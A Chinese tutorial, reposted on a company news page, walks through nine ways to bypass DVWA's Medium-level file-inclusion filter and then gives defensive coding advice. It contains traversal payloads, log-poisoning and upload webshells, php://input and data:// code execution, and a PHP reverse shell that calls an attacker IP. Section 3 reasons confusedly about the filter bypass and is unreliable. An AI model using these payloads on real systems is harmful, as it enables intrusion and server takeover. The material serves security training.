尧图网站建设 尧图网络
  • 首页
  • 关于我们
  • 服务项目
  • 案例展示
  • 建站流程
  • 资讯中心
  • 联系我们
首页/资讯中心/详情

DVWA中级文件包含漏洞:九种绕过方法与实战渗透指南

DVWA中级文件包含漏洞:九种绕过方法与实战渗透指南
📅 发布时间:2026/6/23 0:24:25

1. 项目概述:为什么Medium级别的文件包含值得深挖?

如果你已经玩转了DVWA靶场的Low级别,觉得文件包含无非就是改改page参数,那Medium级别可能会给你当头一棒。它就像一道精心设计的“防火墙”,把最明显的漏洞给堵上了,迫使你从“脚本小子”式的操作,转向理解漏洞原理和渗透测试的真正思维。文件包含漏洞,尤其是本地文件包含(LFI),是Web安全中一个经典且危害极大的漏洞类型,它允许攻击者包含并执行服务器上的任意文件,轻则读取敏感配置,重则结合其他漏洞获取Webshell,甚至直接拿到服务器权限。

Medium级别在DVWA中扮演了一个承上启下的角色。它没有Low级别那么“友好”,直接过滤了../和..\这类经典的目录遍历符号,但它的防护又远未达到完美。这正是我们学习的黄金样本——一个存在缺陷但并非不堪一击的防御机制。通关它,不仅仅是完成一个任务,更是系统性地掌握针对过滤机制的九种绕过思路。这些思路,从简单的编码绕过,到利用日志文件、会话文件,再到结合文件上传和PHP封装协议,几乎涵盖了实战中可能遇到的大部分LFI利用场景。理解每一种方法背后的“为什么”,比单纯记住Payload更重要。这能让你在面对未知的WAF(Web应用防火墙)或自定义过滤规则时,依然能灵活地构造攻击向量。

2. 环境准备与靶场设置要点

在开始“通关”之前,确保你的实验环境是正确且可控的,这能避免很多不必要的麻烦。我强烈建议在虚拟机(如VMware或VirtualBox)中搭建一个完整的渗透测试环境,例如使用Kali Linux作为攻击机,而将DVWA部署在另一台独立的虚拟机(如Ubuntu + LAMP)或Docker容器中。这样做的好处是环境隔离,即使操作失误也不会影响宿主机。

2.1 DVWA靶场配置详解

首先,从DVWA官网(GitHub)下载最新版本。部署后,访问其首页,你会看到一个红色的警告,提示数据库未配置。你需要根据config/config.inc.php.dist模板创建config.inc.php文件。这里有几个关键配置项直接影响我们的实验:

$_DVWA[ 'db_server' ] = '127.0.0.1'; $_DVWA[ 'db_database' ] = 'dvwa'; $_DVWA[ 'db_user' ] = 'dvwa'; $_DVWA[ 'db_password' ] = 'p@ssw0rd'; $_DVWA[ 'default_security_level' ] = 'medium';

特别注意最后一项default_security_level,你可以将其设置为medium,这样每次登录后默认就是中级难度,省去切换的步骤。完成配置后,运行setup.php页面来创建数据库和初始数据。

注意:DVWA的数据库用户dvwa默认密码是p@ssw0rd,但在生产环境中或你自己的测试服务器上,务必修改为强密码,并且不要使用root用户连接数据库,这是最基本的安全实践。

登录DVWA(默认账号admin/password)后,在左侧导航栏找到“DVWA Security”并设置安全级别为“Medium”。这时再访问“File Inclusion”模块,你会发现URL变成了http://your-ip/dvwa/vulnerabilities/fi/?page=include.php。尝试输入../../../../etc/passwd,会发现返回了“Illegal directory traversal detected!”,这就是Medium级别施加的过滤。

2.2 攻击机工具与思维准备

在Kali Linux攻击机上,我们主要会用到以下工具:

  • 浏览器与开发者工具:用于手动测试和观察请求响应。我习惯用Firefox配合HackTools插件,或者Chrome。
  • Burp Suite:渗透测试的“瑞士军刀”。我们将大量使用它的Proxy(代理)、Repeater(重放)和Intruder(入侵者)模块。用Burp Suite拦截、修改和重发请求,是高效测试的关键。
  • curl命令:在终端下快速测试Payload,特别适合需要编码或处理特殊字符的场景。
  • Netcat (nc):一个简单的网络工具,用于测试远程文件包含(RFI)或进行简单的网络交互。

除了工具,更重要的是心态转变:从“尝试已知Payload”转变为“分析过滤逻辑,构造新Payload”。Medium级别的防护代码(通常位于includes/dvwaPage.inc.php或类似文件中)是我们可以查看的(DVWA开源)。其核心过滤函数可能类似于:

$file = str_replace( array( "../", "..\\" ), "", $file );

这行代码就是我们的“对手”。它简单地删除了输入字符串中的../和..\。我们的所有绕过技巧,都围绕着如何让最终的字符串在经过这层删除后,依然能组合成有效的路径遍历序列。

3. 核心原理:Medium级别过滤机制深度拆解

理解防御机制是成功绕过的第一步。DVWA Medium级别对文件包含的防护,通常是通过一个简单的字符串替换函数实现的。假设服务器端代码如下:

<?php $file = $_GET['page']; // 简单的过滤 $file = str_replace(array('../', '..\\'), '', $file); include($file); ?>

这段代码的逻辑非常清晰:它遍历$file变量,发现../或..\就直接替换为空字符串。这是一种“黑名单”式的过滤,而且是非常初级的黑名单。

它的致命弱点在于:只进行了一次替换,且是简单的字符串匹配。这就引出了我们绕过的核心思想:构造一个字符串,在经过这次删除操作后,剩余的字符能重新组合成我们想要的路径遍历序列。

举个例子,假设我们输入..././。过滤函数看到../,将其删除,于是字符串变成了./。这显然不行。但如果我们输入..././呢?注意,这里是三个点。过滤函数会找到中间的../并删除,删除后,剩下的部分变成了..(前两个点)和./(最后一个点加斜杠),这无法组合成../。所以,我们需要更精巧的构造。

另一种思路是利用过滤函数只执行一次的特性。如果我们输入....//,过滤函数找到../并删除,剩下../(第一个点和最后一个点,加上中间的两个斜杠变成了一个?这里需要仔细看)。实际上,输入....//,删除中间的../后,剩下的是.和//,依然不行。关键在于,我们要让删除点不在我们最终需要的../序列的精确位置上。

更高级的绕过会利用编码、双重编码、操作系统路径解析差异、PHP协议封装器等。这些我们会在后续的九种方法中一一展开。但请始终记住这个核心:我们是在和这个简单的str_replace函数玩游戏,目标是在它处理完后,让include()函数接收到一个能成功向上级目录跳转的路径。

4. 九种渗透方法全解析与实践

下面,我将逐一拆解这九种方法,每种方法都会说明原理、给出具体Payload、演示操作过程,并分享我在实践中遇到的坑和技巧。

4.1 方法一:双写绕过(目录遍历符号)

这是最直接应对简单字符串删除过滤的方法。

原理:既然过滤函数删除../,那我们就在../中间再插入一个../,变成..././。当过滤函数删除中间那个../后,剩下的部分恰好就是../。

Payload构造与测试: 原始输入:..././过滤过程:..././-> 删除中间的../-> 结果为../最终URL:http://your-ip/dvwa/vulnerabilities/fi/?page=..././..././..././..././etc/passwd

实际操作中,你需要根据跳转的目录层级重复这个模式。比如想跳转四级目录,就需要四个..././序列。

实操心得:在Burp Suite的Repeater模块里测试这个Payload非常直观。你可以先发送一个包含../../../../etc/passwd的请求(会被拦截),然后将其修改为..././..././..././..././etc/passwd再发送,对比响应。成功的话,你会看到经典的/etc/passwd文件内容。注意,Windows系统下测试DVWA可能没有/etc/passwd,可以尝试包含C:\windows\system32\drivers\etc\hosts等文件,但路径分隔符和过滤逻辑可能需要调整(例如过滤..\)。

4.2 方法二:绝对路径包含

当相对路径被过滤时,直接使用绝对路径有时能奇效。

原理:过滤函数通常只盯着../,对于以/开头的绝对路径可能疏于防范。在Linux/Unix系统上,直接包含/etc/passwd。

Payload:http://your-ip/dvwa/vulnerabilities/fi/?page=/etc/passwd

适用场景与限制:这种方法成功率取决于后端代码是否对绝对路径做了限制。有些开发人员会检查路径是否以Web根目录开头,但DVWA的Medium级别通常没有这个检查。它的局限性在于,你必须要知道目标文件的绝对路径,这在信息收集不充分时比较困难。但在Linux系统中,一些常见配置文件(如/etc/passwd,/proc/self/environ,/var/log/apache2/access.log)的路径是相对固定的。

4.3 方法三:利用非预期输入点——日志文件包含

这是LFI漏洞升级到RCE(远程代码执行)最经典的桥梁之一。

原理:Web服务器(如Apache、Nginx)的访问日志会记录每一个请求,包括User-Agent、Referer等头部信息。如果我们可以向日志文件写入PHP代码,再通过LFI包含这个日志文件,代码就会被执行。

步骤:

  1. 定位日志路径:首先需要知道日志文件在哪里。常见路径有:
    • Apache:/var/log/apache2/access.log,/var/log/httpd/access_log
    • Nginx:/var/log/nginx/access.log
    • 可以通过方法一或二尝试包含这些路径来确认。
  2. 污染日志:使用Burp Suite或curl,发送一个请求,并将User-Agent修改为一段PHP代码,例如:<?php system($_GET['cmd']); ?>。
    curl -A "<?php system(\$_GET['cmd']); ?>" http://your-ip/dvwa/
  3. 包含并执行:通过文件包含漏洞,去包含这个日志文件。http://your-ip/dvwa/vulnerabilities/fi/?page=..././..././..././var/log/apache2/access.log如果日志文件内容被成功包含且PHP代码被执行,页面可能会显示异常(因为日志里有很多文本),此时可以尝试传递参数:http://your-ip/dvwa/vulnerabilities/fi/?page=..././..././..././var/log/apache2/access.log&cmd=id查看页面源代码,寻找命令id的执行结果。

踩坑记录:日志文件通常很大,包含时可能导致页面加载缓慢或超时。另外,新版本的Apache/Nginx可能会对日志中的特殊字符进行转义,导致PHP代码无法正常解析。此时可以尝试在Referer或GET参数中注入代码,但成功率不如User-Agent高。务必注意,污染日志会留下非常明显的攻击痕迹。

4.4 方法四:利用PHP会话文件(Session File)

与日志文件类似,PHP的会话文件(Session)也是攻击者可控的存储点。

原理:PHP会将session数据存储在服务器上的临时文件中(通常位于/tmp或/var/lib/php/sessions),文件名一般为sess_[PHPSESSID]。Session数据来源于$_SESSION数组,而我们可以通过控制Cookie中的PHPSESSID来定位文件,有时还能间接影响Session数据。

步骤:

  1. 获取或设置Session ID:访问DVWA,用浏览器开发者工具查看Cookie中的PHPSESSID值。
  2. 猜测会话路径:尝试包含会话文件。路径可能是/tmp/sess_[你的PHPSESSID]或/var/lib/php/sessions/sess_[你的PHPSESSID]。 Payload:page=..././..././tmp/sess_abc123def456
  3. 注入PHP代码到Session:这通常需要应用本身有将用户输入存入$_SESSION的功能。DVWA的某些模块(如XSS)可能会这样做。如果存在这样的点,我们可以将PHP代码存入某个Session变量,然后通过LFI包含对应的session文件来执行代码。

局限性:相比日志文件,利用Session的条件更苛刻:需要知道Session存储路径、Session ID,并且要有向Session中写入数据的能力。在DVWA的纯文件包含模块中,通常难以直接利用,但作为一种思路需要了解。

4.5 方法五:利用PHP封装协议——php://input

PHP内置的封装协议(Wrapper)是LFI利用的“神兵利器”,php://input是其中用于执行代码最直接的一个。

原理:php://input允许你读取原始的POST数据。当我们将page参数设置为php://input,并在POST body中发送PHP代码时,服务器会将这些代码作为文件内容来“包含”,从而执行。

操作演示(使用Burp Suite):

  1. 拦截对文件包含页面的GET请求。
  2. 将GET参数修改为:page=php://input
  3. 将请求方法从GET改为POST。
  4. 在请求体(Body)中写入PHP代码,例如:<?php system('ls -la /'); ?>
  5. 发送请求。如果配置允许(allow_url_include通常需要为On),你将在响应中看到根目录的列表。

Payload示例:

POST /dvwa/vulnerabilities/fi/ HTTP/1.1 Host: your-ip ...其他头部... Content-Type: application/x-www-form-urlencoded page=php://input <?php system('ls /'); ?>

关键点:allow_url_include这个PHP配置项必须为On,否则php://input用于包含时会失败。在DVWA的默认Docker或一些集成环境中,这个选项可能是关闭的。你可以通过包含一个输出phpinfo()的页面来检查。

4.6 方法六:利用PHP封装协议——php://filter

php://filter不能直接执行代码,但它是读取服务器源码的绝佳工具,为后续攻击铺平道路。

原理:这个协议可以对数据流进行过滤处理。我们可以用它来以Base64编码(或其他编码)的形式读取任意文件的源码,从而绕过一些直接包含源码导致的代码执行(比如包含非PHP文件),并避免乱码问题。

Payload构造:page=php://filter/convert.base64-encode/resource=index.php这个Payload会以Base64编码的形式返回index.php的源代码。你将得到一串Base64字符串,解码后就能看到清晰的PHP源码。

实战意义:通过读取index.php、config.inc.php等关键文件,我们可以发现数据库密码、其他漏洞点、程序逻辑等。例如,读取文件包含漏洞自身的源码文件(可能是fi.php),就能精确看到过滤逻辑,从而设计更有针对性的绕过方案。

操作:在浏览器或Burp中直接访问上述URL,复制返回的Base64字符串,在Kali终端使用echo “Base64字符串” | base64 -d即可解码。

4.7 方法七:利用PHP封装协议——data://

data://协议同样强大,它允许直接在URI中嵌入数据。

原理:data://协议可以让我们直接定义“文件内容”。格式为data://[<mediatype>][;base64],<data>。

Payload构造与执行:page=data://text/plain,<?php echo shell_exec('id'); ?>或者使用Base64编码,避免特殊字符问题:page=data://text/plain;base64,PD9waHAgZWNobyBzaGVsbF9leGVjKCdpZCcpOyA/Pg==

条件与限制:和php://input一样,allow_url_include必须为On。此外,某些PHP版本或配置可能对data://协议有更严格的限制。在测试时,如果php://input成功而data://失败,多半是这个原因。

4.8 方法八:利用文件上传功能组合攻击

这是将本地文件包含(LFI)危害最大化的方法,通常能直接获得Webshell。

原理:如果网站同时存在文件上传漏洞和文件包含漏洞,那么攻击者可以上传一个含有恶意代码的图片或文本文件(需要绕过上传校验),然后通过文件包含漏洞去执行这个上传的文件。

在DVWA中的实践:

  1. 切换到DVWA的“File Upload”模块(Medium级别)。
  2. Medium级别的上传会检查文件类型(MIME类型)和文件扩展名。我们可以通过Burp Suite拦截上传请求,将Content-Type修改为image/jpeg,并将文件名改为shell.php.jpg(有时能绕过简单的黑名单)。
  3. 上传成功后,服务器会返回文件的存储路径,例如/dvwa/hackable/uploads/shell.php.jpg。
  4. 回到“File Inclusion”模块,使用路径遍历包含这个上传的文件:page=..././..././hackable/uploads/shell.php.jpg如果上传的文件内容为<?php system($_GET['c']); ?>,那么访问上述链接时,代码就可能被执行。

深度技巧:这种组合拳的难点往往在上传绕过。除了修改MIME类型,还可以尝试:

  • 双扩展名:shell.php.jpg
  • 大小写绕过:shell.Php
  • 空格/点号绕过:shell.php.(Windows下可能被忽略最后一个点)
  • .htaccess攻击:如果服务器是Apache且允许上传.htaccess,可以上传一个将.jpg文件解析为PHP的规则。 包含上传文件时,路径一定要准确。上传后最好确认一下文件是否真的在预期的目录下。

4.9 方法九:路径截断(Null Byte Injection)与编码绕过

这是一种较老但在特定环境下依然有效的方法。

原理:

  1. 空字节截断:在旧版本的PHP(<5.3.4)中,字符串中的空字节(%00)会标识字符串的结束。如果后端代码在包含文件时,会在用户输入后添加固定的后缀(如.php),例如include($_GET['page'] . '.php'),那么提交../../../../etc/passwd%00,拼接后成为../../../../etc/passwd%00.php,PHP在读取时遇到%00就停止,从而成功包含/etc/passwd。注意:此方法在现代PHP环境中已基本失效。
  2. 编码绕过:过滤函数可能只检查明文../,但不会检查URL编码或双重URL编码后的形式。
    • URL编码:../编码后为%2e%2e%2f(点.是%2e,斜杠/是%2f)。
    • 双重URL编码:../->%2e%2e%2f->%252e%252e%252f(对%再次编码)。 提交%2e%2e%2f,服务器在接收到参数后,可能会先进行一次URL解码变成../,然后才交给过滤函数。如果过滤函数处理的是解码后的字符串,则会被拦截。但如果过滤函数错误地应用于编码后的字符串(或者我们提交的是双重编码),而include函数却能正确解码,就可能绕过。

测试方法:在Burp Suite的Intruder模块中,可以方便地批量测试各种编码变体。例如,将page参数的值设为§../../etc/passwd§,然后在Payloads里加载各种编码字典(如URL编码、双重URL编码、Unicode编码等),观察哪些Payload能成功返回/etc/passwd内容。

5. 实战演练:从信息收集到获取Webshell

现在,我们将多种方法串联起来,模拟一个完整的、由浅入深的渗透过程。目标:通过DVWA Medium文件包含漏洞,最终在服务器上获取一个反向Shell。

步骤1:信息收集与漏洞确认

  • 访问http://your-ip/dvwa/vulnerabilities/fi/。
  • 尝试page=../../../../etc/passwd,确认被过滤。
  • 尝试方法一..././..././etc/passwd,成功读取,确认LFI漏洞存在,并验证了双写绕过有效。

步骤2:源码审计与配置探查

  • 使用方法六(php://filter)读取漏洞文件源码,确认过滤逻辑:page=php://filter/convert.base64-encode/resource=./vulnerabilities/fi/index.php。解码后,果然看到str_replace(array('../', '..\\'), '', $file)。
  • 读取phpinfo()信息,确认PHP配置:page=php://filter/convert.base64-encode/resource=../../../../phpinfo.php(如果存在)。查找allow_url_include和allow_url_fopen的值。假设发现allow_url_include = On,那么php://input和data://协议可用。

步骤3:尝试直接代码执行

  • 使用方法五(php://input)执行命令。用Burp Suite发送POST请求,Body为<?php system('whoami'); ?>。成功返回Web服务器进程的用户(如www-data)。

步骤4:建立持久化访问(反向Shell)

  • 在Kali攻击机上监听一个端口:nc -lvnp 4444
  • 构造一个PHP反向Shell命令。可以使用php -r '$sock=fsockopen("攻击机IP",4444);exec("/bin/sh -i <&3 >&3 2>&3");',但更可靠的方式是使用标准的PHP反向Shell代码。我们通过php://input执行它:
    POST /dvwa/vulnerabilities/fi/ HTTP/1.1 ... page=php://input <?php $sock = fsockopen("192.168.1.100", 4444); // 替换为你的Kali IP $descriptorspec = array( 0 => $sock, 1 => $sock, 2 => $sock ); $process = proc_open('/bin/sh', $descriptorspec, $pipes); proc_close($process); ?>
  • 发送请求,观察Kali上的nc是否接收到连接。如果成功,你就获得了一个交互式的Shell。

步骤5:权限提升与横向移动(简要思路)

  • 在获得的Shell中,尝试sudo -l查看当前用户能以root身份运行哪些命令。
  • 查找具有SUID权限的可执行文件:find / -perm -u=s -type f 2>/dev/null
  • 检查内核版本,搜索公开的本地提权(LPE)漏洞。
  • 这些步骤超出了DVWA文件包含的范围,属于后续的渗透环节,但它是整个攻击链的自然延伸。

6. 防御策略与安全开发建议

作为开发者或安全人员,了解攻击方法是为了更好地防御。针对文件包含漏洞,以下是一些根本性的解决方案:

  1. 白名单机制是王道:不要使用用户输入直接作为包含的文件名。如果必须动态包含,应预先定义好允许包含的文件列表(白名单),只允许包含列表内的文件。

    $allowed_pages = array('home.php', 'about.php', 'contact.php'); $page = $_GET['page']; if (in_array($page, $allowed_pages)) { include($page); } else { include('error.php'); }
  2. 严格限制文件路径:如果白名单不可行,必须对用户输入进行严格的路径规范化(realpath)和检查,确保最终路径在Web文档根目录之内。

    $base_dir = '/var/www/html/includes/'; $user_file = $_GET['page']; $real_path = realpath($base_dir . $user_file); // 检查$real_path是否以$base_dir开头 if (strpos($real_path, $base_dir) === 0) { include($real_path); } else { die('非法访问!'); }
  3. 关闭危险特性:在非必要的情况下,在php.ini中设置allow_url_include = Off和allow_url_fopen = Off,从根本上杜绝远程文件包含和危险封装协议的使用。

  4. 更新与打补丁:保持PHP、Web服务器及应用程序为最新版本,避免因旧版本缺陷(如空字节截断)导致漏洞。

  5. 实施WAF规则:在应用前端部署Web应用防火墙,配置规则过滤常见的路径遍历序列(../,..\, 各种编码形式)和危险协议字符串(php://,data://等)。

7. 常见问题排查与技巧实录

在实际操作中,你肯定会遇到各种问题。这里记录了一些典型场景和解决方法:

问题1:双写绕过..././不成功,页面显示空白或错误。

  • 排查:首先确认安全级别确实是Medium。然后,使用Burp Suite拦截请求,查看发送的Payload是否完全正确。有可能浏览器或Burp对URL进行了二次编码。尝试直接在Repeater中发送原始Payload。另外,数清楚需要跳转的目录层级。DVWA的文件包含脚本位置是/dvwa/vulnerabilities/fi/index.php,从该目录到根目录/通常需要4级../。

问题2:使用php://input或data://协议时,返回错误或没有执行代码。

  • 排查:检查allow_url_include设置。创建一个包含<?php phpinfo(); ?>的页面,查看phpinfo()输出确认。如果为Off,则这些协议不可用。此外,确保请求方法正确(php://input必须用POST),并且PHP代码直接写在POST Body中,前面不能有其它参数。

问题3:包含日志文件后页面乱码或没有执行代码。

  • 排查:日志文件体积过大,导致PHP执行超时或内存不足。可以尝试只包含日志文件的最后几行(如果系统支持),例如tail -n 50 /var/log/apache2/access.log。更可能的原因是,PHP代码在日志中被转义了。查看日志文件原始内容(用php://filter读取),确认<?php ?>标签是否完整。有时<和>会被转义为&lt;和&gt;。可以尝试使用短标签<?=或利用PHP的字符串解析特性,如将代码放在User-Agent中:<?php system($_GET[‘cmd’]); ?>,但引号可能需要处理。

问题4:上传了Webshell但包含时无法执行。

  • 排查:首先确认文件是否真的上传成功,并且路径正确。其次,检查文件权限。上传的文件可能只有rw-r--r--权限,Web服务器用户(如www-data)可能没有执行权限。更重要的是,即使扩展名是.php.jpg,Apache/NGINX是否将其作为PHP解析,取决于其配置(AddType或location规则)。如果服务器不将其解析为PHP,包含它只会显示源代码或下载。此时,需要利用.htaccess文件或其它解析漏洞。

独家技巧:使用Burp Suite Intruder进行模糊测试当你不确定过滤规则时,不要盲目尝试。用Burp Intruder进行模糊测试(Fuzzing)是最高效的方法。

  1. 拦截一个包含page=include.php的正常请求,发送到Intruder。
  2. 在page参数值的位置(如include.php)设置Payload标记。
  3. Payloads选择“Brute forcer”或加载一个包含各种绕过Payload的字典文件(如../../../、..\..\、..././、%2e%2e%2f、....//等)。
  4. 发起攻击,根据响应长度、状态码和内容,快速筛选出可能成功的Payload。响应长度明显不同的,很可能就是绕过成功的标志(例如成功包含了/etc/passwd,文件内容会使响应体变大)。

相关新闻

  • 谱图理论在低轨星座星间链路拓扑优化中的应用与实践
  • 功能感知机器人数据生成:从形状对应到仿真验证的完整指南
  • 北京离婚调解律师联系方式推荐 资深家事律师处理婚姻财产纠纷 - 外贸老黄

最新新闻

  • 2026年新发布国内不错的节能离心风机优质厂家解析与选择指南 - 品牌鉴赏官2026
  • 2026年当下滨州性价比高的铝镁锰屋面板批发厂家深度分析与选型指南 - 品牌鉴赏官2026
  • 2026年近期天津耐火玻璃隔断厂商寻源,这家企业值得关注 - 品牌鉴赏官2026
  • 微信商城搭建有哪些平台
  • 用Gemini镜像站解决PHP/Java依赖冲突与构建失败:Composer/Maven/Gradle问题排查实战
  • SC7A20 三轴数字加速度传感器 原理与实现流程

日新闻

  • Arduino-ESP32项目深度解析:解锁隐藏芯片支持与架构演进
  • 2026年 系统窗厂家/品牌推荐榜单:隔音系统窗+高端系统门窗的核心优势与选购指南 - 品牌发掘
  • NVBench:首个双语非言语发声语音合成评测基准详解与实践

周新闻

  • Visual C++运行库修复终极指南:5分钟快速解决Windows软件启动错误
  • 手把手教你构建统计局地区经济数据爬虫:从环境搭建到数据持久化全指南
  • 2026多Agent深度解析:用AI团队替代单一模型,四种架构实战落地

月新闻

  • 【总结】入门篇:50句话让你记住架构核心概念
  • WeChatMsg技术方案解析:实现Mac微信数据自主管理的完整解决方案
  • WeChatMsg:革新性微信数据备份方案,打造你的专属数字记忆库

关于尧图

  • 公司简介
  • 团队介绍
  • 企业文化
  • 荣誉资质

服务项目

  • 定制开发
  • 电商建站
  • UI 设计
  • 运维服务

快速链接

  • 案例展示
  • 建站流程
  • 常见问题
  • 资讯中心

联系方式

  • 📍北京市朝阳区互联网产业园 A 座 10 层
  • 📞400-888-8888
  • ✉️contact@rkmt.cn
  • 🕐周一至周日 9:00-21:00

© 2024 北京尧图网络科技有限公司 版权所有 | 京 ICP 备 XXXXXXXX 号